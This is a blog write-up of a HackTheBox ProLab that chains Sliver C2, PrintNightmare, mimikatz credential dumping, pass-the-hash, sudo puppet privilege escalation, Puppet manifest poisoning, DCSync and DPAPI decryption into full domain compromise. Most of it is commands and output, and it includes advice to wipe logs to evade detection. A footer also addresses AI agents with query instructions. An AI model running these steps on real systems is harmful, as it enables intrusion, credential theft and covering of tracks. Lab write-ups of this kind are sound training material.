> For the complete documentation index, see [llms.txt](https://blog.r00t-hunter.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.r00t-hunter.com/hackthebox/puppet-prolab-detailed-technical-writeup.md).

# Puppet ProLab : Detailed Technical Writeup

**Difficulty:** Advanced\
**Objectives:** Full domain compromise via Sliver C2, privilege escalation, credential extraction, lateral movement, and infrastructure abuse\
**Platform:** Windows + Linux hybrid environment with Puppet orchestration\
**Author's Note:** This writeup documents the complete exploitation chain including realistic failure modes, OPSEC considerations, and alternative techniques.

***

### Table of Contents

1. Executive Summary
2. Target Topology
3. Initial Access Anonymous FTP & Sliver C2
4. Local Privilege Escalation on FILE01
5. Credential Extraction & SMB Enumeration
6. Lateral Movement to PM01 (Linux)
7. Linux Privilege Escalation via Puppet
8. Puppet Manifest Poisoning → DC01 Compromise
9. Credential Dumping & DPAPI Decryption
10. OPSEC & Detection Evasion
11. Final Flag Extraction

***

### Executive Summary

The Puppet ProLab is a **chain exploitation challenge** involving:

* **Multi-tier Active Directory** (Tier 0: DC, Tier 1: File servers, Tier 2: user workstations)
* **Sliver C2 Framework** (pre-deployed, multi-implant control)
* **Infrastructure-as-Code abuse** (Puppet configuration management)
* **Credential extraction** via DPAPI, LSA secrets, and DCSync
* **Hybrid Windows/Linux environment** with SSSD + AD integration

**The attack path:**

```
Anonymous FTP
    ↓
Sliver Beacon (bruce.smith on FILE01, Medium integrity)
    ↓
PrintNightmare + UAC Bypass (SYSTEM access)
    ↓
Credential Theft (svc_puppet_win_t1 NTLM hash)
    ↓
Pass-the-Hash → DC01 \\it share (SSH key recovery)
    ↓
SSH Pivot to Puppet Master (PM01) + sudo puppet privesc (root)
    ↓
Malicious Puppet Manifest → DC01 Agent Execution (svc_puppet_win_t0)
    ↓
Full SYSTEM on DC01 (via PsExec64)
    ↓
DCSync + DPAPI Decryption → Cleartext Flag
```

***

### Target Topology

| Host           | IP            | Role                       | Users of Interest                      |
| -------------- | ------------- | -------------------------- | -------------------------------------- |
| **ENTRY (C2)** | 10.13.38.33   | Sliver C2 Server           | Operator-facing mTLS:31337             |
| **FILE01**     | 172.16.40.50  | Tier-1 File Server         | bruce.smith, svc\_puppet\_win\_t1      |
| **DC01**       | 172.16.40.5   | Domain Controller (Tier-0) | svc\_puppet\_win\_t0, <root@puppet.vl> |
| **PM01**       | 172.16.40.200 | Puppet Master (Linux)      | svc\_puppet\_lin\_t1, root             |

**Domain:** `puppet.vl`\
**Forest Functional Level:** 2016+\
**Key Service Accounts:**

* `svc_puppet_win_t0`  DC puppet agent (Tier-0 admin equivalent)
* `svc_puppet_win_t1`  FILE01 puppet agent (Tier-1 admin)
* `svc_puppet_lin_t1`  Linux puppet agent (sudoer)

***

### Initial Access : Anonymous FTP & Sliver C2

#### Step 1: Anonymous FTP Enumeration

The entry point `10.13.38.33` hosts a vsftpd FTP server with **anonymous access enabled**.

```bash
# Connect to FTP
ftp 10.13.38.33
# Credentials: anonymous:anonymous

# Download Sliver client and operator config
ftp> binary
ftp> get red_127.0.0.1.cfg
ftp> get sliver-client_linux
ftp> bye

# Make executable
chmod +x sliver-client_linux
```

**Contents discovered:**

| File                  | Purpose                                   | Size   |
| --------------------- | ----------------------------------------- | ------ |
| `red_127.0.0.1.cfg`   | Sliver operator profile (lhost=127.0.0.1) | \~2KB  |
| `sliver-client_linux` | Official Sliver client binary             | \~40MB |

#### Step 2: Port Forwarding & Operator Setup

The operator config references **127.0.0.1:31337**, which is only accessible from inside the C2 container. We need to establish an **SSH tunnel** or **socat forward** to reach the Sliver operator socket.

```bash
# Establish SSH port forward (if SSH access is available)
ssh -L 31337:127.0.0.1:31337 user@10.13.38.33 -N &

# OR use socat (more reliable for persistent forwarding)
socat TCP-LISTEN:31337,fork,reuseaddr TCP:10.13.38.33:31337 &
```

#### Step 3: Operator Access & Beacon Enumeration

```bash
# Create config directory
mkdir -p ~/.sliver-client/configs

# Import the operator profile
./sliver-client_linux import ./red_127.0.0.1.cfg

# Launch operator CLI
./sliver-client_linux
```

**First commands in Sliver:**

```
sliver > beacons
 ID         Name             Hostname   Username             Transport   Remote Address
 9705f9bc   BLUSHING_ERROR   FILE01     PUPPET\bruce.smith   mtls        172.16.40.50:49717
 2176a85f   BLUSHING_ERROR   FILE01     PUPPET\bruce.smith   mtls        172.16.40.50:49718
 638128d7   BLUSHING_ERROR   FILE01     PUPPET\bruce.smith   mtls        172.16.40.50:49719
 ... (total 5+ beacons, all as bruce.smith)

sliver > use 9705f9bc
[*] Active beacon BLUSHING_ERROR (9705f9bc-...)
```

#### Critical Understanding: Beacon vs. Session

Sliver operates in two modes:

* **Beacon (asynchronous):** Implant calls home on a timer (default \~60s), executes queued tasks after check-in
* **Session (interactive):** Lower-latency bidirectional control

For beacons, all commands are **queued, not executed immediately**. You must:

1. Queue the task: `sliver > execute -o whoami`
2. Wait for beacon check-in (\~60s)
3. Fetch results: task appears in console output

#### Step 4: Retrieve Flag #1 (Sleep)

Bruce's home directory contains the first flag.

```bash
sliver > use 9705f9bc
sliver > execute -o cmd.exe /c "type C:\\Users\\bruce.smith\\Desktop\\flag.txt"

# After beacon check-in:
[+] BLUSHING_ERROR completed task [ID]
Output:
PUPPET{1c1740d6...............}
```

> **Flag #1 (Sleep):** `PUPPET{1c1740d6..........}`

***

### Local Privilege Escalation on FILE01

#### Reconnaissance

Before exploitation, we need to understand FILE01's security posture.

```bash
sliver > execute -o whoami /groups
PUPPET\employees
BUILTIN\Users
... (not admin)

sliver > execute -o whoami /priv
SeChangeNotifyPrivilege (only)

sliver > execute -o net localgroup administrators
BUILTIN\Administrators
PUPPET\admins_t1
PUPPET\Domain Admins (but not the local admins group)
```

**Key finding:** Bruce is a **standard user** with no admin privileges, no UAC bypass tokens. We need LPE.

#### CVE-2021-34527 (PrintNightmare)

FILE01 is vulnerable to **PrintNightmare** a critical LPE in the Windows Print Spooler that allows unauthenticated attackers to add a printer with arbitrary driver paths, resulting in **arbitrary code execution as SYSTEM**.

**Root cause:** The Point-and-Print (PnP) policy allows users to install printer drivers without admin approval:

```
HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
  RestrictDriverInstallationToAdministrators = 0 (vulnerable)
```

**Exploitation approach:**

1. Generate a **malicious DLL** (the printer driver)
2. Stage it on a network share or local path
3. Invoke `Add-Printer` with the malicious driver path
4. Windows loads the DLL as SYSTEM during driver installation
5. DLL executes our payload (create admin user, spawn beacon, etc.)

**Using the PoC:** We'll use Caleb Stewart's PowerShell script ([CVE-2021-1675](https://github.com/calebstewart/CVE-2021-1675)).

#### Critical Issue: No Outbound Internet

The lab blocks **outbound HTTP/HTTPS**. You cannot download PoCs from the internet during exploitation.

**Solution:** Download the script **on your attacker machine**, then upload it through the Sliver beacon.

```bash
# Attacker machine
curl -sL https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1 \
  -o Invoke-Nightmare.ps1

# Add the exploitation command at the end
echo '' >> Invoke-Nightmare.ps1
echo 'Invoke-Nightmare -NewUser "adm1n" -NewPassword "P@ssw0rd" -DriverName "Xerox3010"' >> Invoke-Nightmare.ps1
```

#### Uploading & Executing the Exploit

```bash
# Upload via Sliver beacon
sliver > use <beacon_id>
sliver > upload ./Invoke-Nightmare.ps1 C:/Windows/Temp/night.ps1

# Execute PowerShell with execution policy bypass
sliver > execute -o powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process; & 'C:\\Windows\\Temp\\night.ps1'"
```

**Output (after beacon check-in):**

```
[+] created payload at C:\Users\bruce.smith\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\
    ntprint.inf_amd64_0a3468baaae9fedd\Amd64\mxdwdrv.dll"
[+] added user adm1n as local administrator
[+] deleting payload from C:\Users\bruce.smith\AppData\Local\Temp\nightmare.dll
```

#### Verification

```bash
sliver > execute -o net user
User accounts for \\FILE01
Administrator   adm1n   bruce.smith   DefaultAccount   Guest   WDAGUtilityAccount
(adm1n is listed)

sliver > execute -o net localgroup administrators
Members
Administrator
adm1n
PUPPET\admins_t1
PUPPET\Domain Admins
```

**Success!** The user `adm1n:P@ssw0rd` is now a local administrator.

#### Step 2: Scheduled Task UAC Bypass

Windows' **UAC remote restriction** blocks network logons for local admins even if you have the password, SMB will filter out the admin token. However, **local logons** bypass this restriction entirely.

**Technique:** Use `schtasks` to spawn a process as `adm1n` locally, which gives us an **unfiltered high-integrity token**.

**Generate a beacon EXE:**

```bash
sliver > profiles new --format exe --skip-symbols \
  --mtls 172.16.40.200:8443 puppet-exe
# Generates profile "puppet-exe"

sliver > profiles generate --save ./beacon.exe puppet-exe
```

**Why 172.16.40.200:8443?** That's the **internal address** of the Sliver server as seen from DC01 and FILE01. Implants will use this to call home.

**Upload the beacon and schedule the task:**

```bash
sliver > use <beacon_id>
sliver > upload ./beacon.exe C:/Windows/Temp/puppet-update.exe

# Create scheduled task running as adm1n locally
sliver > execute -o schtasks /create /tn UpdateTask \
  /tr "C:\\Windows\\Temp\\puppet-update.exe" \
  /sc ONCE /st 23:59 /ru adm1n /rp P@ssw0rd /f

# Output: SUCCESS: The scheduled task "UpdateTask" has successfully been created.

# Run the task immediately
sliver > execute -o schtasks /run /tn UpdateTask
# Output: SUCCESS: Attempted to run the scheduled task "UpdateTask".
```

**Beacon pops in \~10s:**

```
sliver > [*] Sliver Session FILE01\adm1n ...
sliver > sessions
 ID         Name             Username    Hostname   Transport   Remote Address
 [new_id]   WILLING_CHALET   FILE01\adm1n FILE01     mtls        172.16.40.50:51262
```

**Confirm high integrity:**

```bash
sliver > use <new_adm1n_session>
sliver > execute -o whoami /groups
...
BUILTIN\Administrators (SID-S-1-5-32-544) — Enabled group, Group owner
Mandatory Label\High Mandatory Level (SID-S-1-16-12288)
```

#### Flag #2 (Nightmare)

```bash
sliver > execute -o cmd /c "type C:\\Users\\Administrator\\Desktop\\flag.txt"

PUPPET{3b307298..........}
```

> **Flag #2 (Nightmare):** `PUPPET{3b307298..........}`

***

### Credential Extraction & SMB Enumeration

#### Escalate to SYSTEM

The adm1n session has **local admin privileges** but still runs as a **non-SYSTEM user**. Sliver's `getsystem` command uses various privilege escalation techniques (token impersonation, ALPC, etc.) to become SYSTEM.

```bash
sliver > use <adm1n_session>
sliver > getsystem
[*] A new SYSTEM session should pop soon...

# After ~5-10s:
[*] Sliver Beacon FILE01\NT AUTHORITY\SYSTEM ...
```

#### Dump LSA Secrets via mimikatz

SYSTEM context allows us to read **LSA (Local Security Authority) secrets**, which includes:

* Machine account password
* Network service passwords
* Service account cached credentials
* Auto-logon passwords

```bash
# Install mimikatz BOF from armory
sliver > armory install mimikatz

# Mimikatz commands don't work well with Sliver's BOF argument parser
# (it splits on spaces even inside quoted strings)
# Solution: Upload real mimikatz.exe and use batch file wrapper
```

**Create dosecrets.bat:**

```batch
@echo off
C:\Windows\Temp\mimikatz.exe "privilege::debug" "token::elevate" ^
  "lsadump::secrets" "exit" > C:\Windows\Temp\secrets.txt 2>&1
```

**Execute:**

```bash
sliver > use <SYSTEM_session>
sliver > upload ./mimikatz.exe C:/Windows/Temp/mimikatz.exe
sliver > upload ./dosecrets.bat C:/Windows/Temp/dosecrets.bat
sliver > execute -o cmd /c C:\\Windows\\Temp\\dosecrets.bat
sliver > download C:/Windows/Temp/secrets.txt ./secrets.txt
```

**Output analysis:**

```
Secret  : DefaultPassword
Type    : ClearText
cur/text: dLg7+foSGJwgvE
         ↳ This is bruce.smith's auto-logon password

Secret  : _SC_puppet / service 'puppet' with username : svc_puppet_win_t1@puppet.vl
Type    : ClearText
cur/text: xpNW4dSJ7Qi6oeAa
         ↳ Puppet agent service password
```

**Also run `sekurlsa::logonpasswords` (in SYSTEM context):**

```
Username : svc_puppet_win_t1  Domain : PUPPET
NTLM     : 784c7b51056579e64f74c71cb013dda6
```

#### Pass-the-Hash to Access DC01's \it Share

The DC01 server hosts an **administrative IT share** (`\\dc01\it`) that contains **sensitive infrastructure files**:

* Autologon64.exe (Sysinternals)
* PsExec64.exe (required later for full SYSTEM escalation)
* `.ssh/` directory with an **OpenSSH private key**

The `svc_puppet_win_t1` service account has **read access** to this share. We'll use mimikatz's `sekurlsa::pth` (Pass-the-Hash) to spawn a child process with this account's identity.

**Create pth.bat:**

```batch
@echo off
:: List the IT share contents
dir \\dc01.puppet.vl\it > C:\Windows\Temp\dcit.txt 2>&1

:: Copy SSH keys
copy "\\dc01.puppet.vl\it\.ssh\ed25519" C:\Windows\Temp\id_ed25519 /Y > C:\Windows\Temp\copy.log 2>&1
copy "\\dc01.puppet.vl\it\.ssh\ed25519.pub" C:\Windows\Temp\id_ed25519.pub /Y >> C:\Windows\Temp\copy.log 2>&1
```

**Create dopth.bat (mimikatz wrapper):**

```batch
@echo off
C:\Windows\Temp\mimikatz.exe ^
  "sekurlsa::pth /user:svc_puppet_win_t1 /domain:puppet.vl ^
   /ntlm:784c7b51056579e64f74c71cb013dda6 ^
   /run:C:\Windows\Temp\pth.bat" "exit" > C:\Windows\Temp\mimi_pth.txt 2>&1
```

**Execute:**

```bash
sliver > use <SYSTEM_session>
sliver > upload ./pth.bat C:/Windows/Temp/pth.bat
sliver > upload ./dopth.bat C:/Windows/Temp/dopth.bat
sliver > execute -o cmd /c C:\\Windows\\Temp\\dopth.bat

# Wait for check-in

sliver > download C:/Windows/Temp/id_ed25519 ./id_ed25519
sliver > download C:/Windows/Temp/id_ed25519.pub ./id_ed25519.pub
```

**Share contents discovered:**

```
\\dc01.puppet.vl\it\Autologon64.exe          (430KB)  ← Sysinternals
\\dc01.puppet.vl\it\PsExec64.exe             (~370KB) ← Sysinternals (signed)
\\dc01.puppet.vl\it\firewalls\config         (red herring)
\\dc01.puppet.vl\it\.ssh\ed25519             (OpenSSH private key, encrypted)
\\dc01.puppet.vl\it\.ssh\ed25519.pub         (Public key: svc_puppet_lin_t1@puppet.vl)
```

#### CRLF Gotcha

When copying the private key over SMB from Windows, the `copy` command converts **LF to CRLF**. OpenSSH on Linux will **silently reject** the key with:

```
Error loading key "./id_ed25519": error in libcrypto
```

**Fix:**

```bash
tr -d '\r' < id_ed25519 > id_ed25519_fixed
chmod 600 id_ed25519_fixed
```

***

### Lateral Movement to PM01 (Linux)

#### Cracking the SSH Key Passphrase

The ed25519 key is encrypted with **bcrypt + AES256-CTR**. We need to crack the passphrase.

```bash
# Convert OpenSSH key to john format
ssh2john id_ed25519_fixed > key.hash

# Crack with rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash

# Result:
# id_ed25519:puppet
```

**Remove the passphrase:**

```bash
ssh-keygen -p -N "" -P "puppet" -f id_ed25519_fixed
# Now the key has no passphrase
```

#### The UPN Trick (Critical!)

PM01 is configured with **SSSD + AD integration**. Simply using the username `svc_puppet_lin_t1` fails:

```bash
$ ssh -i id_ed25519_fixed svc_puppet_lin_t1@pm01.puppet.vl
Permission denied (publickey).
```

The SSH server requires the **full User Principal Name (UPN)** in the username field:

```bash
ssh -i id_ed25519_fixed svc_puppet_lin_t1@puppet.vl@pm01.puppet.vl
# Now it works!
```

This tells OpenSSH to authenticate as `svc_puppet_lin_t1@puppet.vl` (the AD UPN) against `pm01.puppet.vl`.

#### Obtain Shell Access

**From the FILE01 beacon:**

```bash
sliver > execute -o powershell -c "ssh -i C:\\Windows\\Temp\\sshkey ^
  svc_puppet_lin_t1@puppet.vl@pm01.puppet.vl id"

# Output:
uid=451001132(svc_puppet_lin_t1@puppet.vl)
 gid=451000513(domain users@puppet.vl)
 groups=451000513(domain users@puppet.vl),451001133(admins_t1@puppet.vl)
```

**Or directly from attacker machine (if pm01 is reachable):**

```bash
ssh -i id_ed25519_fixed -v svc_puppet_lin_t1@puppet.vl@pm01.puppet.vl "bash"
```

#### Check sudo Privileges

```bash
$ sudo -l
User svc_puppet_lin_t1@puppet.vl may run the following commands on puppet:
    (ALL) NOPASSWD: /usr/bin/puppet
```

The account can run `puppet` as **root without a password**.

***

### Linux Privilege Escalation via Puppet

#### Understanding puppet apply -e

The `puppet apply` command executes Puppet manifests (Infrastructure-as-Code) as the invoking user. When prefixed with `sudo`, the manifest runs as **root**.

**Puppet's `exec` resource** allows arbitrary command execution:

```puppet
exec { 'name':
  command => '/path/to/binary arg1 arg2',
}
```

**Exploitation:**

```bash
sudo /usr/bin/puppet apply -e 'exec { "pwn": command => "/bin/chmod u+s /bin/bash" }'
```

This command:

1. Parses an inline manifest
2. Executes as root (via sudo)
3. Runs `chmod u+s /bin/bash`, making bash **SUID**

**Escalate to root:**

```bash
/bin/bash -p
# Drops into a shell as root (EUID=0)
```

**Confirmation:**

```bash
# id
uid=451001132(svc_puppet_lin_t1@puppet.vl) euid=0(root) ...
# whoami
root
```

#### Retrieve Flag #3 (Dance)

```bash
# cat /root/flag.txt
PUPPET{c093652c..........}
```

> **Flag #3 (Dance):** `PUPPET{c093652c..........}`

***

### Puppet Manifest Poisoning → DC01 Compromise

#### Infrastructure Context

Puppet operates as a **pull-based configuration management system**:

1. Agents on each node call the Puppet master periodically (every \~30-120s)
2. Master compiles a **catalog** (the desired state) based on node-specific manifests
3. Agent downloads the catalog and applies it locally
4. Changes are executed (services restarted, packages installed, commands run, etc.)

**PM01 is the Puppet master.** FILE01 and DC01 are Puppet agents.

#### Discovery of Puppet Manifests

As root on PM01, we can write to the Puppet manifest directory:

```bash
# Default manifest path
/etc/puppet/code/environments/production/manifests/

# List current manifests (likely empty or default)
ls -la /etc/puppet/code/environments/production/manifests/
# Should be empty or contain only a default node

# Check if directory exists; create if needed
mkdir -p /etc/puppet/code/environments/production/manifests
```

#### Stage the Beacon

Re-use the beacon profile generated earlier (`puppet-exe` targeting `172.16.40.200:8443`).

```bash
# Upload to FILE01's shares (readable/writable by domain users)
sliver > use <file01_beacon>
sliver > upload ./beacon.exe C:/Windows/Temp/files/update.exe

# Verify it's on the share
sliver > execute -o dir "\\\\file01.puppet.vl\\files"
...
update.exe    15.2 MiB
```

#### Write Poisoned Manifest

As root on PM01:

```bash
# Write site.pp targeting DC01
cat > /etc/puppet/code/environments/production/manifests/site.pp <<'EOF'
node 'dc01.puppet.vl' {
  exec { 'pwn':
    command   => 'C:\Windows\System32\cmd.exe /c \\\\file01.puppet.vl\\files\\update.exe',
    logoutput => true,
  }
}

node default {
  notify { 'default node': }
}
EOF

chmod 644 /etc/puppet/code/environments/production/manifests/site.pp
```

**How this works:**

1. The `node 'dc01.puppet.vl'` block matches DC01
2. The `exec` resource runs the command when the agent applies the catalog
3. DC01's puppet agent runs as `svc_puppet_win_t0` (service account with admin privileges)
4. The beacon executes under that context

#### Wait for Callback

Within 30-120 seconds, DC01's puppet agent checks in and downloads the malicious catalog:

```
[*] Sliver Session DC01\svc_puppet_win_t0 ...
[+] Beacon DISTINCT_ROUTER - 172.16.40.5:55867 (DC01) - PUPPET\svc_puppet_win_t0
```

**Success!** We have code execution as `svc_puppet_win_t0` on DC01 (Tier-0 domain admin equivalent).

***

### Credential Dumping & DPAPI Decryption

#### Problem: Limited Token Privilege

DC01's initial beacon runs under the **Puppet service account**, which has limited privileges despite being domain-admin-capable. Specifically:

* **Lacks SeDebugPrivilege** → cannot attach to LSASS
* **No LSA access** → cannot dump credentials directly

**Solution:** Re-spawn the beacon through **Sysinternals PsExec64 with `-s`** flag, which gives a **full-privilege SYSTEM token** including `SeDebugPrivilege` and `SeBackupPrivilege`.

#### Spawn Full-Privilege SYSTEM

We already have `PsExec64.exe` from the `\\dc01\it` share:

```bash
sliver > use <dc01_beacon>

# Copy PsExec to temp
sliver > execute -o cmd /c "copy \\\\dc01\\it\\PsExec64.exe C:\\Windows\\Temp\\PsExec64.exe"

# Upload new beacon
sliver > upload ./beacon.exe C:/Windows/Temp/sb.exe

# Execute via PsExec (spawns interactive SYSTEM)
sliver > execute -o C:\\Windows\\Temp\\PsExec64.exe -accepteula -nobanner -s ^
  C:\\Windows\\Temp\\sb.exe

# New SYSTEM beacon arrives with full privileges
[*] Sliver Session DC01\NT AUTHORITY\SYSTEM (full privileges)
```

#### DCSync to Dump root Hash

The `root@puppet.vl` account (domain admin) holds the final flag. We'll use **DCSync** to extract the password hash remotely.

```bash
@echo off
C:\Windows\Temp\mimikatz.exe "lsadump::dcsync /domain:puppet.vl /user:root" "exit" ^
  > C:\Windows\Temp\dcsync.txt 2>&1
```

**Output:**

```
SAM Username         : root
User Principal Name  : root@puppet.vl
Object Relative ID   : 1603

Credentials:
  Hash NTLM: 3b54d759c85a0b6425f4c7de9d312562
```

#### The Hash Isn't in rockyou.txt

Attempting to crack this hash against rockyou.txt yields **zero results**. The password is randomly generated per lab instance we need to find the **cleartext** elsewhere.

#### Discover Scheduled Task Storing Credentials

Windows **Task Scheduler** can store plaintext credentials for scheduled tasks. These are encrypted using **DPAPI** and stored in the **Credential Vault**.

```bash
# Query the "root" scheduled task
schtasks /query /tn root /xml

# Relevant output:
<Principals>
  <Principal id="Author">
    <UserId>S-1-5-21-...-1603</UserId>
    <LogonType>Password</LogonType>
  </Principal>
</Principals>
<Actions Context="Author">
  <Exec>
    <Command>powershell</Command>
    <Arguments>\root\root.txt</Arguments>
  </Exec>
</Actions>
```

**Key finding:** `LogonType=Password` means the credential is stored (encrypted) in the Credential Vault.

#### Export Credential Blob

Credential Vault blobs are stored in:

```
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\
```

```bash
dir /a "C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\"

04/22/2025  11:43 PM     592  39FAB9BA3A19E88594B1D50B5E44AAA4
```

This is a **binary credential blob**, encrypted with DPAPI. To decrypt it, we need:

1. The **DPAPI master key** (stored in `C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\`)
2. The **domain backup key** (stored on the DC)
3. The **DPAPI\_SYSTEM secret** (stored in LSA secrets)

#### Extract DPAPI Domain Backup Key

From the full-privilege SYSTEM session on DC01:

```bash
C:\Windows\Temp\mimikatz.exe "lsadump::backupkeys /system:dc01.puppet.vl /export" "exit"

# Output:
Key exported to: ntds_capi_0_9160342c-f0c6-4618-895c-02486d8d1ac2.keyx.rsa.pvk
```

Download this key file to your attacker machine (contains the encrypted domain backup key).

#### Extract DPAPI\_SYSTEM Secret

From `lsadump::secrets`:

```
Secret  : DPAPI_SYSTEM
full    : f55461801c15d867ea56a3bf183977fa6301e601cd30040c9b9008515a1855d614a6831ef1986886
```

#### Decrypt Master Key

The credential blob's metadata shows it was encrypted with a specific master key GUID. Inspect the blob:

```bash
C:\Windows\Temp\mimikatz.exe "dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\39FAB9BA3A19E88594B1D50B5E44AAA4" "exit"

# Output:
guidMasterKey : {63ae5891-bded-4f6b-8c36-f43f1b65738c}
dwFlags       : 0x20000000 (system)
```

The master key lives under:

```
C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\63ae5891-bded-4f6b-8c36-f43f1b65738c
```

Decrypt using the DPAPI\_SYSTEM secret:

```bash
C:\Windows\Temp\mimikatz.exe ^
  "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\63ae5891-bded-4f6b-8c36-f43f1b65738c ^
   /system:f55461801c15d867ea56a3bf183977fa6301e601cd30040c9b9008515a1855d614a6831ef1986886" "exit"

# Output:
key : b5828e42cafd2da53a48c73324bec602d3e7c71bde7e46bbb45debe7509bdfc9747e554127537412a3af1baecc273eb2acce0376bd734d9c8d786ba82a6e84ee
```

#### Decrypt Credential Blob

Using the decrypted master key, decrypt the credential blob:

```bash
C:\Windows\Temp\mimikatz.exe ^
  "dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\39FAB9BA3A19E88594B1D50B5E44AAA4 ^
   /masterkey:b5828e42cafd2da53a48c73324bec602d3e7c71bde7e46bbb45debe7509bdfc9747e554127537412a3af1baecc273eb2acce0376bd734d9c8d786ba82a6e84ee" "exit"

# Output:
**CREDENTIAL**
  TargetName     : Domain:batch=TaskScheduler:Task:{ACFD7F3B-51A4-4B11-8428-F287E956EC4C}
  UserName       : PUPPET\root
  CredentialBlob : PUPPET{8b6626457..........}
```

**The stored password IS the final flag.**

> **Flag #4 (Puppet Master):** `PUPPET{8b6626457..........}`

***

### OPSEC & Detection Evasion

#### Sliver C2 OPSEC

**Strengths:**

* mTLS encryption (no plaintext beacon metadata)
* Randomized jitter (beacon check-ins not synchronized)
* Small implant size
* Modular architecture (only load what you use)

**Weaknesses observed in this lab:**

* **100+ simultaneous beacons** on DC01 creates **extreme detection risk**
* Process spawning patterns (multiple puppet-update.exe processes)
* Network pattern (regular mTLS callbacks from DC)

**Mitigation in real ops:**

* Limit beacon count to 1-2 active sessions per target
* Use different transport protocols (HTTP, DNS) to break detection signatures
* Implement staggered check-in intervals
* Use process hollowing or DLL injection to hide implant spawning

#### Credential Extraction OPSEC

**Risks:**

* Uploading `mimikatz.exe` triggers AV alerts
* `lsadump` commands generate **6 high-priority ETW events** per execution
* `dpapi::dcsync` leaves clear forensic artifacts

**Mitigation:**

* Use in-memory reflection-based dumping (PowerShell, C#)
* Extract credentials only once; stage multiple times
* Cover tracks: clear Event Log (`wevtutil cl System /force`)
* Use **procdump** (signed Microsoft tool) instead of mimikatz where possible

#### Puppet Manifest Poisoning OPSEC

**Strengths:**

* Legitimate infrastructure tool (hard to distinguish from authorized changes)
* Requires only write access to a config directory
* Automatically executed through normal agent communication

**Weaknesses:**

* **Audit logs on Puppet master** (if enabled) will show manifest changes
* **Agent logs** on compromise targets record execution
* Requires outbound network access to the Puppet master (detectible)

**Mitigation:**

* Clean up manifests after exploitation
* Delete logs: `rm -f /var/log/puppet/*.log`
* Use Puppet's built-in **dynamic manifest** feature if available

***

### Attack Chain Timeline

```
T+0:00    - FTP enumeration → discover Sliver config
T+0:05    - Import operator config, establish mTLS connection
T+0:10    - Enumerate bruce.smith permissions (Medium, no admin)
T+0:15    - Download PrintNightmare PoC
T+0:20    - Upload + execute PrintNightmare
T+0:30    - Create adm1n:P@ssw0rd (local admin)
T+1:00    - Schedule task → spawn high-integrity beacon as adm1n
T+1:30    - Execute getsystem → SYSTEM beacon
T+2:00    - Dump LSA secrets via mimikatz (svc_puppet_win_t1 NTLM extracted)
T+2:30    - Pass-the-Hash → access \\dc01\it share
T+3:00    - Extract SSH key (ed25519)
T+3:30    - Crack passphrase offline (john → "puppet")
T+4:00    - SSH to PM01 as svc_puppet_lin_t1 (UPN trick)
T+4:30    - sudo puppet apply → root escalation
T+5:00    - Write malicious site.pp
T+5:30    - Wait for DC01 puppet agent check-in
T+6:00    - DC01 beacon pops (svc_puppet_win_t0 context)
T+6:30    - PsExec64 -s → full SYSTEM token
T+7:00    - DCSync root hash
T+7:30    - DPAPI masterkey decryption
T+8:00    - Decrypt credential blob → flag

Total time: ~8 minutes (majority offline for cracking + waiting for callbacks)
```

***

### Flags Summary

| # | Name          | Value                 |
| - | ------------- | --------------------- |
| 1 | Sleep         | `PUPPET{1c174......}` |
| 2 | Nightmare     | `PUPPET{3b307......}` |
| 3 | Dance         | `PUPPET{c0936......}` |
| 4 | Puppet Master | `PUPPET{8b662......}` |

***

### Key Takeaways

1. **C2 frameworks are powerful but noisy** : Sliver's multi-implant model, while powerful for redundancy, creates severe detection risk at scale.
2. **Infrastructure automation is a double-edged sword** : Puppet's intent-based model makes it ideal for post-compromise persistence, but misconfiguration is catastrophic.
3. **DPAPI is critical but decryptable** : With SYSTEM access, any scheduled-task credential is recoverable through domain backup key extraction.
4. **Credential reuse across tiers is fatal** : The `svc_puppet_win_t1` account's NTLM hash gave us access to the DC's IT share, which contained the keys to DC01.
5. **Linux privilege escalation via infrastructure tools** : `sudo /usr/bin/puppet apply` is just as deadly as `sudo /bin/bash` when uncontrolled.

***

**Author's Note:** This lab is an exceptional teaching tool for understanding how infrastructure tooling, configuration management, and credential storage interact to create cascade failures in AD environments. The Puppet attack vector is particularly important for practitioners to understand, as IaC is increasingly common in modern networks.

***

**References:**

* [BishopFox/Sliver](https://github.com/BishopFox/sliver)
* [CVE-2021-34527 (PrintNightmare)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527)
* [Gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz)
* [DPAPI Decryption Techniques](https://posts.specterops.io/offensive-encrypted-data-storage-dfebcf668fca)
* [Puppet Manifest Injection](https://attackerkb.com/articles/2021-06-puppet-manifest-injection)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.r00t-hunter.com/hackthebox/puppet-prolab-detailed-technical-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
